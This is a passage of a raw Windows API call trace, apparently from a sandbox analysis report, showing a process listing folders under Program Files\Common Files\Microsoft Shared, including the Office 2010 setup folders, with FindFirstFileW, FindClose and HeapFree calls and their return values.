ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.760] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.760] GetProcessHeap () returned 0x550000 [0195.760] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.760] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.760] GetProcessHeap () returned 0x550000 [0195.760] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.761] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.761] GetProcessHeap () returned 0x550000 [0195.761] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.761] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.761] GetProcessHeap () returned 0x550000 [0195.761] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.762] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.762] GetProcessHeap () returned 0x550000 [0195.762] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.762] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.762] GetProcessHeap () returned 0x550000 [0195.762] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.762] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0195.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.764] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.764] GetProcessHeap () returned 0x550000 [0195.764] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.765] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.765] GetProcessHeap () returned 0x550000 [0195.765] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0195.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.766] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.767] GetProcessHeap () returned 0x550000 [0195.767] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.767] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.768] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.768] GetProcessHeap () returned 0x550000 [0195.768] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.768] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.769] GetProcessHeap () returned 0x550000 [0195.769] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.769] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.769] GetProcessHeap () returned 0x550000 [0195.769] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.771] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.772] GetProcessHeap () returned 0x550000 [0195.772] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.772] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.772] GetProcessHeap () returned 0x550000 [0195.772] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22200730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x22200730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22200730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.773] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.773] GetProcessHeap () returned 0x550000 [0195.773] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26130b8 | out: hHeap=0x550000) returned 1 [0195.868] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc840bb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc8d9130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8d9130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.869] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.869] GetProcessHeap () returned 0x550000 [0195.870] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.870] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.871] GetProcessHeap () returned 0x550000 [0195.871] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.872] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.872] GetProcessHeap () returned 0x550000 [0195.872] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.873] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.874] GetProcessHeap () returned 0x550000 [0195.874] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.874] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.875] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.875] GetProcessHeap () returned 0x550000 [0195.875] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.876] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.877] GetProcessHeap () returned 0x550000 [0195.877] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.877] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.878] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.878] GetProcessHeap () returned 0x550000 [0195.878] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.879] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.880] GetProcessHeap () returned 0x550000 [0195.880] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.881] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.881] GetProcessHeap () returned 0x550000 [0195.882] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.882] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.883] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.883] GetProcessHeap () returned 0x550000 [0195.883] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.885] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.886] GetProcessHeap () returned 0x550000 [0195.886] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.887] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.888] GetProcessHeap () returned 0x550000 [0195.888] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.891] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.891] GetProcessHeap () returned 0x550000 [0195.891] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.891] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0195.892] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0195.892] GetProcessHeap () returned 0x550000 [0195.892] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26230c0 | out: hHeap=0x550000) returned 1 [0195.893] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0195.893] GetProcessHeap () returned 0x550000 [0195.893] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26020a8 | out: hHeap=0x550000) returned 1 [0195.893] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0195.894] GetProcessHeap () returned 0x550000 [0195.894] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f1098 | out: hHeap=0x550000) returned 1 [0195.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 